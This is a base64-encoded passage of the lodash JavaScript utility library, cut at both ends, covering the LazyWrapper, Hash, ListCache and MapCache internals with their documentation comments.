ICAgJ18nOiBsb2Rhc2hcbiAgICAgIH1cbiAgICB9O1xuXG4gICAgLy8gRW5zdXJlIHdyYXBwZXJzIGFyZSBpbnN0YW5jZXMgb2YgYGJhc2VMb2Rhc2hgLlxuICAgIGxvZGFzaC5wcm90b3R5cGUgPSBiYXNlTG9kYXNoLnByb3RvdHlwZTtcbiAgICBsb2Rhc2gucHJvdG90eXBlLmNvbnN0cnVjdG9yID0gbG9kYXNoO1xuXG4gICAgTG9kYXNoV3JhcHBlci5wcm90b3R5cGUgPSBiYXNlQ3JlYXRlKGJhc2VMb2Rhc2gucHJvdG90eXBlKTtcbiAgICBMb2Rhc2hXcmFwcGVyLnByb3RvdHlwZS5jb25zdHJ1Y3RvciA9IExvZGFzaFdyYXBwZXI7XG5cbiAgICAvKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovXG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGEgbGF6eSB3cmFwcGVyIG9iamVjdCB3aGljaCB3cmFwcyBgdmFsdWVgIHRvIGVuYWJsZSBsYXp5IGV2YWx1YXRpb24uXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBjb25zdHJ1Y3RvclxuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIHdyYXAuXG4gICAgICovXG4gICAgZnVuY3Rpb24gTGF6eVdyYXBwZXIodmFsdWUpIHtcbiAgICAgIHRoaXMuX193cmFwcGVkX18gPSB2YWx1ZTtcbiAgICAgIHRoaXMuX19hY3Rpb25zX18gPSBbXTtcbiAgICAgIHRoaXMuX19kaXJfXyA9IDE7XG4gICAgICB0aGlzLl9fZmlsdGVyZWRfXyA9IGZhbHNlO1xuICAgICAgdGhpcy5fX2l0ZXJhdGVlc19fID0gW107XG4gICAgICB0aGlzLl9fdGFrZUNvdW50X18gPSBNQVhfQVJSQVlfTEVOR1RIO1xuICAgICAgdGhpcy5fX3ZpZXdzX18gPSBbXTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGEgY2xvbmUgb2YgdGhlIGxhenkgd3JhcHBlciBvYmplY3QuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBuYW1lIGNsb25lXG4gICAgICogQG1lbWJlck9mIExhenlXcmFwcGVyXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyB0aGUgY2xvbmVkIGBMYXp5V3JhcHBlcmAgb2JqZWN0LlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGxhenlDbG9uZSgpIHtcbiAgICAgIHZhciByZXN1bHQgPSBuZXcgTGF6eVdyYXBwZXIodGhpcy5fX3dyYXBwZWRfXyk7XG4gICAgICByZXN1bHQuX19hY3Rpb25zX18gPSBjb3B5QXJyYXkodGhpcy5fX2FjdGlvbnNfXyk7XG4gICAgICByZXN1bHQuX19kaXJfXyA9IHRoaXMuX19kaXJfXztcbiAgICAgIHJlc3VsdC5fX2ZpbHRlcmVkX18gPSB0aGlzLl9fZmlsdGVyZWRfXztcbiAgICAgIHJlc3VsdC5fX2l0ZXJhdGVlc19fID0gY29weUFycmF5KHRoaXMuX19pdGVyYXRlZXNfXyk7XG4gICAgICByZXN1bHQuX190YWtlQ291bnRfXyA9IHRoaXMuX190YWtlQ291bnRfXztcbiAgICAgIHJlc3VsdC5fX3ZpZXdzX18gPSBjb3B5QXJyYXkodGhpcy5fX3ZpZXdzX18pO1xuICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBSZXZlcnNlcyB0aGUgZGlyZWN0aW9uIG9mIGxhenkgaXRlcmF0aW9uLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAbmFtZSByZXZlcnNlXG4gICAgICogQG1lbWJlck9mIExhenlXcmFwcGVyXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyB0aGUgbmV3IHJldmVyc2VkIGBMYXp5V3JhcHBlcmAgb2JqZWN0LlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGxhenlSZXZlcnNlKCkge1xuICAgICAgaWYgKHRoaXMuX19maWx0ZXJlZF9fKSB7XG4gICAgICAgIHZhciByZXN1bHQgPSBuZXcgTGF6eVdyYXBwZXIodGhpcyk7XG4gICAgICAgIHJlc3VsdC5fX2Rpcl9fID0gLTE7XG4gICAgICAgIHJlc3VsdC5fX2ZpbHRlcmVkX18gPSB0cnVlO1xuICAgICAgfSBlbHNlIHtcbiAgICAgICAgcmVzdWx0ID0gdGhpcy5jbG9uZSgpO1xuICAgICAgICByZXN1bHQuX19kaXJfXyAqPSAtMTtcbiAgICAgIH1cbiAgICAgIHJldHVybiByZXN1bHQ7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogRXh0cmFjdHMgdGhlIHVud3JhcHBlZCB2YWx1ZSBmcm9tIGl0cyBsYXp5IHdyYXBwZXIuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBuYW1lIHZhbHVlXG4gICAgICogQG1lbWJlck9mIExhenlXcmFwcGVyXG4gICAgICogQHJldHVybnMgeyp9IFJldHVybnMgdGhlIHVud3JhcHBlZCB2YWx1ZS5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBsYXp5VmFsdWUoKSB7XG4gICAgICB2YXIgYXJyYXkgPSB0aGlzLl9fd3JhcHBlZF9fLnZhbHVlKCksXG4gICAgICAgICAgZGlyID0gdGhpcy5fX2Rpcl9fLFxuICAgICAgICAgIGlzQXJyID0gaXNBcnJheShhcnJheSksXG4gICAgICAgICAgaXNSaWdodCA9IGRpciA8IDAsXG4gICAgICAgICAgYXJyTGVuZ3RoID0gaXNBcnIgPyBhcnJheS5sZW5ndGggOiAwLFxuICAgICAgICAgIHZpZXcgPSBnZXRWaWV3KDAsIGFyckxlbmd0aCwgdGhpcy5fX3ZpZXdzX18pLFxuICAgICAgICAgIHN0YXJ0ID0gdmlldy5zdGFydCxcbiAgICAgICAgICBlbmQgPSB2aWV3LmVuZCxcbiAgICAgICAgICBsZW5ndGggPSBlbmQgLSBzdGFydCxcbiAgICAgICAgICBpbmRleCA9IGlzUmlnaHQgPyBlbmQgOiAoc3RhcnQgLSAxKSxcbiAgICAgICAgICBpdGVyYXRlZXMgPSB0aGlzLl9faXRlcmF0ZWVzX18sXG4gICAgICAgICAgaXRlckxlbmd0aCA9IGl0ZXJhdGVlcy5sZW5ndGgsXG4gICAgICAgICAgcmVzSW5kZXggPSAwLFxuICAgICAgICAgIHRha2VDb3VudCA9IG5hdGl2ZU1pbihsZW5ndGgsIHRoaXMuX190YWtlQ291bnRfXyk7XG5cbiAgICAgIGlmICghaXNBcnIgfHwgKCFpc1JpZ2h0ICYmIGFyckxlbmd0aCA9PSBsZW5ndGggJiYgdGFrZUNvdW50ID09IGxlbmd0aCkpIHtcbiAgICAgICAgcmV0dXJuIGJhc2VXcmFwcGVyVmFsdWUoYXJyYXksIHRoaXMuX19hY3Rpb25zX18pO1xuICAgICAgfVxuICAgICAgdmFyIHJlc3VsdCA9IFtdO1xuXG4gICAgICBvdXRlcjpcbiAgICAgIHdoaWxlIChsZW5ndGgtLSAmJiByZXNJbmRleCA8IHRha2VDb3VudCkge1xuICAgICAgICBpbmRleCArPSBkaXI7XG5cbiAgICAgICAgdmFyIGl0ZXJJbmRleCA9IC0xLFxuICAgICAgICAgICAgdmFsdWUgPSBhcnJheVtpbmRleF07XG5cbiAgICAgICAgd2hpbGUgKCsraXRlckluZGV4IDwgaXRlckxlbmd0aCkge1xuICAgICAgICAgIHZhciBkYXRhID0gaXRlcmF0ZWVzW2l0ZXJJbmRleF0sXG4gICAgICAgICAgICAgIGl0ZXJhdGVlID0gZGF0YS5pdGVyYXRlZSxcbiAgICAgICAgICAgICAgdHlwZSA9IGRhdGEudHlwZSxcbiAgICAgICAgICAgICAgY29tcHV0ZWQgPSBpdGVyYXRlZSh2YWx1ZSk7XG5cbiAgICAgICAgICBpZiAodHlwZSA9PSBMQVpZX01BUF9GTEFHKSB7XG4gICAgICAgICAgICB2YWx1ZSA9IGNvbXB1dGVkO1xuICAgICAgICAgIH0gZWxzZSBpZiAoIWNvbXB1dGVkKSB7XG4gICAgICAgICAgICBpZiAodHlwZSA9PSBMQVpZX0ZJTFRFUl9GTEFHKSB7XG4gICAgICAgICAgICAgIGNvbnRpbnVlIG91dGVyO1xuICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgYnJlYWsgb3V0ZXI7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIHJlc3VsdFtyZXNJbmRleCsrXSA9IHZhbHVlO1xuICAgICAgfVxuICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICB9XG5cbiAgICAvLyBFbnN1cmUgYExhenlXcmFwcGVyYCBpcyBhbiBpbnN0YW5jZSBvZiBgYmFzZUxvZGFzaGAuXG4gICAgTGF6eVdyYXBwZXIucHJvdG90eXBlID0gYmFzZUNyZWF0ZShiYXNlTG9kYXNoLnByb3RvdHlwZSk7XG4gICAgTGF6eVdyYXBwZXIucHJvdG90eXBlLmNvbnN0cnVjdG9yID0gTGF6eVdyYXBwZXI7XG5cbiAgICAvKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovXG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGEgaGFzaCBvYmplY3QuXG4gICAgICpcbiAgICAgKiBAcHJpdmF0ZVxuICAgICAqIEBjb25zdHJ1Y3RvclxuICAgICAqIEBwYXJhbSB7QXJyYXl9IFtlbnRyaWVzXSBUaGUga2V5LXZhbHVlIHBhaXJzIHRvIGNhY2hlLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIEhhc2goZW50cmllcykge1xuICAgICAgdmFyIGluZGV4ID0gLTEsXG4gICAgICAgICAgbGVuZ3RoID0gZW50cmllcyA9PSBudWxsID8gMCA6IGVudHJpZXMubGVuZ3RoO1xuXG4gICAgICB0aGlzLmNsZWFyKCk7XG4gICAgICB3aGlsZSAoKytpbmRleCA8IGxlbmd0aCkge1xuICAgICAgICB2YXIgZW50cnkgPSBlbnRyaWVzW2luZGV4XTtcbiAgICAgICAgdGhpcy5zZXQoZW50cnlbMF0sIGVudHJ5WzFdKTtcbiAgICAgIH1cbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBSZW1vdmVzIGFsbCBrZXktdmFsdWUgZW50cmllcyBmcm9tIHRoZSBoYXNoLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAbmFtZSBjbGVhclxuICAgICAqIEBtZW1iZXJPZiBIYXNoXG4gICAgICovXG4gICAgZnVuY3Rpb24gaGFzaENsZWFyKCkge1xuICAgICAgdGhpcy5fX2RhdGFfXyA9IG5hdGl2ZUNyZWF0ZSA/IG5hdGl2ZUNyZWF0ZShudWxsKSA6IHt9O1xuICAgICAgdGhpcy5zaXplID0gMDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBSZW1vdmVzIGBrZXlgIGFuZCBpdHMgdmFsdWUgZnJvbSB0aGUgaGFzaC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQG5hbWUgZGVsZXRlXG4gICAgICogQG1lbWJlck9mIEhhc2hcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gaGFzaCBUaGUgaGFzaCB0byBtb2RpZnkuXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IGtleSBUaGUga2V5IG9mIHRoZSB2YWx1ZSB0byByZW1vdmUuXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIHRoZSBlbnRyeSB3YXMgcmVtb3ZlZCwgZWxzZSBgZmFsc2VgLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGhhc2hEZWxldGUoa2V5KSB7XG4gICAgICB2YXIgcmVzdWx0ID0gdGhpcy5oYXMoa2V5KSAmJiBkZWxldGUgdGhpcy5fX2RhdGFfX1trZXldO1xuICAgICAgdGhpcy5zaXplIC09IHJlc3VsdCA/IDEgOiAwO1xuICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBHZXRzIHRoZSBoYXNoIHZhbHVlIGZvciBga2V5YC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQG5hbWUgZ2V0XG4gICAgICogQG1lbWJlck9mIEhhc2hcbiAgICAgKiBAcGFyYW0ge3N0cmluZ30ga2V5IFRoZSBrZXkgb2YgdGhlIHZhbHVlIHRvIGdldC5cbiAgICAgKiBAcmV0dXJucyB7Kn0gUmV0dXJucyB0aGUgZW50cnkgdmFsdWUuXG4gICAgICovXG4gICAgZnVuY3Rpb24gaGFzaEdldChrZXkpIHtcbiAgICAgIHZhciBkYXRhID0gdGhpcy5fX2RhdGFfXztcbiAgICAgIGlmIChuYXRpdmVDcmVhdGUpIHtcbiAgICAgICAgdmFyIHJlc3VsdCA9IGRhdGFba2V5XTtcbiAgICAgICAgcmV0dXJuIHJlc3VsdCA9PT0gSEFTSF9VTkRFRklORUQgPyB1bmRlZmluZWQgOiByZXN1bHQ7XG4gICAgICB9XG4gICAgICByZXR1cm4gaGFzT3duUHJvcGVydHkuY2FsbChkYXRhLCBrZXkpID8gZGF0YVtrZXldIDogdW5kZWZpbmVkO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENoZWNrcyBpZiBhIGhhc2ggdmFsdWUgZm9yIGBrZXlgIGV4aXN0cy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQG5hbWUgaGFzXG4gICAgICogQG1lbWJlck9mIEhhc2hcbiAgICAgKiBAcGFyYW0ge3N0cmluZ30ga2V5IFRoZSBrZXkgb2YgdGhlIGVudHJ5IHRvIGNoZWNrLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBhbiBlbnRyeSBmb3IgYGtleWAgZXhpc3RzLCBlbHNlIGBmYWxzZWAuXG4gICAgICovXG4gICAgZnVuY3Rpb24gaGFzaEhhcyhrZXkpIHtcbiAgICAgIHZhciBkYXRhID0gdGhpcy5fX2RhdGFfXztcbiAgICAgIHJldHVybiBuYXRpdmVDcmVhdGUgPyAoZGF0YVtrZXldICE9PSB1bmRlZmluZWQpIDogaGFzT3duUHJvcGVydHkuY2FsbChkYXRhLCBrZXkpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFNldHMgdGhlIGhhc2ggYGtleWAgdG8gYHZhbHVlYC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQG5hbWUgc2V0XG4gICAgICogQG1lbWJlck9mIEhhc2hcbiAgICAgKiBAcGFyYW0ge3N0cmluZ30ga2V5IFRoZSBrZXkgb2YgdGhlIHZhbHVlIHRvIHNldC5cbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBzZXQuXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyB0aGUgaGFzaCBpbnN0YW5jZS5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBoYXNoU2V0KGtleSwgdmFsdWUpIHtcbiAgICAgIHZhciBkYXRhID0gdGhpcy5fX2RhdGFfXztcbiAgICAgIHRoaXMuc2l6ZSArPSB0aGlzLmhhcyhrZXkpID8gMCA6IDE7XG4gICAgICBkYXRhW2tleV0gPSAobmF0aXZlQ3JlYXRlICYmIHZhbHVlID09PSB1bmRlZmluZWQpID8gSEFTSF9VTkRFRklORUQgOiB2YWx1ZTtcbiAgICAgIHJldHVybiB0aGlzO1xuICAgIH1cblxuICAgIC8vIEFkZCBtZXRob2RzIHRvIGBIYXNoYC5cbiAgICBIYXNoLnByb3RvdHlwZS5jbGVhciA9IGhhc2hDbGVhcjtcbiAgICBIYXNoLnByb3RvdHlwZVsnZGVsZXRlJ10gPSBoYXNoRGVsZXRlO1xuICAgIEhhc2gucHJvdG90eXBlLmdldCA9IGhhc2hHZXQ7XG4gICAgSGFzaC5wcm90b3R5cGUuaGFzID0gaGFzaEhhcztcbiAgICBIYXNoLnByb3RvdHlwZS5zZXQgPSBoYXNoU2V0O1xuXG4gICAgLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qL1xuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhbiBsaXN0IGNhY2hlIG9iamVjdC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQGNvbnN0cnVjdG9yXG4gICAgICogQHBhcmFtIHtBcnJheX0gW2VudHJpZXNdIFRoZSBrZXktdmFsdWUgcGFpcnMgdG8gY2FjaGUuXG4gICAgICovXG4gICAgZnVuY3Rpb24gTGlzdENhY2hlKGVudHJpZXMpIHtcbiAgICAgIHZhciBpbmRleCA9IC0xLFxuICAgICAgICAgIGxlbmd0aCA9IGVudHJpZXMgPT0gbnVsbCA/IDAgOiBlbnRyaWVzLmxlbmd0aDtcblxuICAgICAgdGhpcy5jbGVhcigpO1xuICAgICAgd2hpbGUgKCsraW5kZXggPCBsZW5ndGgpIHtcbiAgICAgICAgdmFyIGVudHJ5ID0gZW50cmllc1tpbmRleF07XG4gICAgICAgIHRoaXMuc2V0KGVudHJ5WzBdLCBlbnRyeVsxXSk7XG4gICAgICB9XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogUmVtb3ZlcyBhbGwga2V5LXZhbHVlIGVudHJpZXMgZnJvbSB0aGUgbGlzdCBjYWNoZS5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQG5hbWUgY2xlYXJcbiAgICAgKiBAbWVtYmVyT2YgTGlzdENhY2hlXG4gICAgICovXG4gICAgZnVuY3Rpb24gbGlzdENhY2hlQ2xlYXIoKSB7XG4gICAgICB0aGlzLl9fZGF0YV9fID0gW107XG4gICAgICB0aGlzLnNpemUgPSAwO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFJlbW92ZXMgYGtleWAgYW5kIGl0cyB2YWx1ZSBmcm9tIHRoZSBsaXN0IGNhY2hlLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAbmFtZSBkZWxldGVcbiAgICAgKiBAbWVtYmVyT2YgTGlzdENhY2hlXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IGtleSBUaGUga2V5IG9mIHRoZSB2YWx1ZSB0byByZW1vdmUuXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIHRoZSBlbnRyeSB3YXMgcmVtb3ZlZCwgZWxzZSBgZmFsc2VgLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGxpc3RDYWNoZURlbGV0ZShrZXkpIHtcbiAgICAgIHZhciBkYXRhID0gdGhpcy5fX2RhdGFfXyxcbiAgICAgICAgICBpbmRleCA9IGFzc29jSW5kZXhPZihkYXRhLCBrZXkpO1xuXG4gICAgICBpZiAoaW5kZXggPCAwKSB7XG4gICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgIH1cbiAgICAgIHZhciBsYXN0SW5kZXggPSBkYXRhLmxlbmd0aCAtIDE7XG4gICAgICBpZiAoaW5kZXggPT0gbGFzdEluZGV4KSB7XG4gICAgICAgIGRhdGEucG9wKCk7XG4gICAgICB9IGVsc2Uge1xuICAgICAgICBzcGxpY2UuY2FsbChkYXRhLCBpbmRleCwgMSk7XG4gICAgICB9XG4gICAgICAtLXRoaXMuc2l6ZTtcbiAgICAgIHJldHVybiB0cnVlO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIEdldHMgdGhlIGxpc3QgY2FjaGUgdmFsdWUgZm9yIGBrZXlgLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAbmFtZSBnZXRcbiAgICAgKiBAbWVtYmVyT2YgTGlzdENhY2hlXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IGtleSBUaGUga2V5IG9mIHRoZSB2YWx1ZSB0byBnZXQuXG4gICAgICogQHJldHVybnMgeyp9IFJldHVybnMgdGhlIGVudHJ5IHZhbHVlLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGxpc3RDYWNoZUdldChrZXkpIHtcbiAgICAgIHZhciBkYXRhID0gdGhpcy5fX2RhdGFfXyxcbiAgICAgICAgICBpbmRleCA9IGFzc29jSW5kZXhPZihkYXRhLCBrZXkpO1xuXG4gICAgICByZXR1cm4gaW5kZXggPCAwID8gdW5kZWZpbmVkIDogZGF0YVtpbmRleF1bMV07XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ2hlY2tzIGlmIGEgbGlzdCBjYWNoZSB2YWx1ZSBmb3IgYGtleWAgZXhpc3RzLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAbmFtZSBoYXNcbiAgICAgKiBAbWVtYmVyT2YgTGlzdENhY2hlXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IGtleSBUaGUga2V5IG9mIHRoZSBlbnRyeSB0byBjaGVjay5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYW4gZW50cnkgZm9yIGBrZXlgIGV4aXN0cywgZWxzZSBgZmFsc2VgLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGxpc3RDYWNoZUhhcyhrZXkpIHtcbiAgICAgIHJldHVybiBhc3NvY0luZGV4T2YodGhpcy5fX2RhdGFfXywga2V5KSA+IC0xO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFNldHMgdGhlIGxpc3QgY2FjaGUgYGtleWAgdG8gYHZhbHVlYC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQG5hbWUgc2V0XG4gICAgICogQG1lbWJlck9mIExpc3RDYWNoZVxuICAgICAqIEBwYXJhbSB7c3RyaW5nfSBrZXkgVGhlIGtleSBvZiB0aGUgdmFsdWUgdG8gc2V0LlxuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIHNldC5cbiAgICAgKiBAcmV0dXJucyB7T2JqZWN0fSBSZXR1cm5zIHRoZSBsaXN0IGNhY2hlIGluc3RhbmNlLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGxpc3RDYWNoZVNldChrZXksIHZhbHVlKSB7XG4gICAgICB2YXIgZGF0YSA9IHRoaXMuX19kYXRhX18sXG4gICAgICAgICAgaW5kZXggPSBhc3NvY0luZGV4T2YoZGF0YSwga2V5KTtcblxuICAgICAgaWYgKGluZGV4IDwgMCkge1xuICAgICAgICArK3RoaXMuc2l6ZTtcbiAgICAgICAgZGF0YS5wdXNoKFtrZXksIHZhbHVlXSk7XG4gICAgICB9IGVsc2Uge1xuICAgICAgICBkYXRhW2luZGV4XVsxXSA9IHZhbHVlO1xuICAgICAgfVxuICAgICAgcmV0dXJuIHRoaXM7XG4gICAgfVxuXG4gICAgLy8gQWRkIG1ldGhvZHMgdG8gYExpc3RDYWNoZWAuXG4gICAgTGlzdENhY2hlLnByb3RvdHlwZS5jbGVhciA9IGxpc3RDYWNoZUNsZWFyO1xuICAgIExpc3RDYWNoZS5wcm90b3R5cGVbJ2RlbGV0ZSddID0gbGlzdENhY2hlRGVsZXRlO1xuICAgIExpc3RDYWNoZS5wcm90b3R5cGUuZ2V0ID0gbGlzdENhY2hlR2V0O1xuICAgIExpc3RDYWNoZS5wcm90b3R5cGUuaGFzID0gbGlzdENhY2hlSGFzO1xuICAgIExpc3RDYWNoZS5wcm90b3R5cGUuc2V0ID0gbGlzdENhY2hlU2V0O1xuXG4gICAgLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qL1xuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIG1hcCBjYWNoZSBvYmplY3QgdG8gc3RvcmUga2V5LXZhbHVlIHBhaXJzLlxuICAgICAqXG4gICAgICogQHByaXZhdGVcbiAgICAgKiBAY29uc3RydWN0b3JcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBbZW50cmllc10gVGhlIGtleS12YWx1ZSBwYWlycyB0byBjYWNoZS5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBNYXBDYWNoZShlbnRyaWVzKSB7XG4gICAgICB2YXIgaW5kZXggPSAtMSxcbiAgICAgICAgICBsZW5ndGggPSBlbnRyaWVzID09IG51bGwgPyAwIDogZW50cmllcy5sZW5ndGg7XG5cbiAgICAgIHRoaXMuY2xlYXIoKTtcbiAgICAgIHdoaWxlICgrK2luZGV4IDwgbGVuZ3RoKSB7XG4gICAgICAgIHZhciBlbnRyeSA9IGVudHJpZXNbaW5kZXhdO1xuICAgICAgICB0aGlzLnNldChlbnRyeVswXSwgZW50cnlbMV0pO1xuICAgICAgfVxuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFJlbW92ZXMgYWxsIGtleS12YWx1ZSBlbnRyaWVzIGZyb20gdGhlIG1hcC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQG5hbWUgY2xlYXJcbiAgICAgKiBAbWVtYmVyT2YgTWFwQ2FjaGVcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBtYXBDYWNoZUNsZWFyKCkge1xuICAgICAgdGhpcy5zaXplID0gMDtcbiAgICAgIHRoaXMuX19kYXRhX18gPSB7XG4gICAgICAgICdoYXNoJzogbmV3IEhhc2gsXG4gICAgICAgICdtYXAnOiBuZXcgKE1hcCB8fCBMaXN0Q2FjaGUpLFxuICAgICAgICAnc3RyaW5nJzogbmV3IEhhc2hcbiAgICAgIH07XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogUmVtb3ZlcyBga2V5YCBhbmQgaXRzIHZhbHVlIGZyb20gdGhlIG1hcC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQG5hbWUgZGVsZXRlXG4gICAgICogQG1lbWJlck9mIE1hcENhY2hlXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IGtleSBUaGUga2V5IG9mIHRoZSB2YWx1ZSB0byByZW1vdmUuXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIHRoZSBlbnRyeSB3YXMgcmVtb3ZlZCwgZWxzZSBgZmFsc2VgLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIG1hcENhY2hlRGVsZXRlKGtleSkge1xuICAgICAgdmFyIHJlc3VsdCA9IGdldE1hcERhdGEodGhpcywga2V5KVsnZGVsZXRlJ10oa2V5KTtcbiAgICAgIHRoaXMuc2l6ZSAtPSByZXN1bHQgPyAxIDogMDtcbiAgICAgIHJldHVybiByZXN1bHQ7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogR2V0cyB0aGUgbWFwIHZhbHVlIGZvciBga2V5YC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQG5hbWUgZ2V0XG4gICAgICogQG1lbWJlck9mIE1hcENhY2hlXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IGtleSBUaGUga2V5IG9mIHRoZSB2YWx1ZSB0byBnZXQuXG4gICAgICogQHJldHVybnMgeyp9IFJldHVybnMgdGhlIGVudHJ5IHZhbHVlLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIG1hcENhY2hlR2V0KGtleSkge1xuICAgICAgcmV0dXJuIGdldE1hcERhdGEodGhpcywga2V5KS5nZXQoa2V5KTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDaGVja3MgaWYgYSBtYXAgdmFsdWUgZm9yIGBrZXlgIGV4aXN0cy5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQG5hbWUgaGFzXG4gICAgICogQG1lbWJlck9mIE1hcENhY2hlXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IGtleSBUaGUga2V5IG9mIHRoZSBlbnRyeSB0byBjaGVjay5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYW4gZW50cnkgZm9yIGBrZXlgIGV4aXN0cywgZWxzZSBgZmFsc2VgLlxuICAgICAqL1xuICAgIGZ1bmN0aW9uIG1hcENhY2hlSGFzKGtleSkge1xuICAgICAgcmV0dXJuIGdldE1hcERhdGEodGhpcywga2V5KS5oYXMoa2V5KTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBTZXRzIHRoZSBtYXAgYGtleWAgdG8gYHZhbHVlYC5cbiAgICAgKlxuICAgICAqIEBwcml2YXRlXG4gICAgICogQG5hbWUgc2V0XG4gICAgICogQG1lbWJlck9mIE1hcENhY2hlXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IGtleSBUaGUga2V5IG9mIHRoZSB2YWx1ZSB0byBzZXQuXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gc2V0LlxuICAgICAqIEByZXR1cm5zIHtPYmplY3R9IFJldHVybnMgdGhlIG1hcCBjYWNoZSBpbnN0YW5jZS5cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBtYXBDYWNoZVNldChrZXksIHZhbHVlKSB7X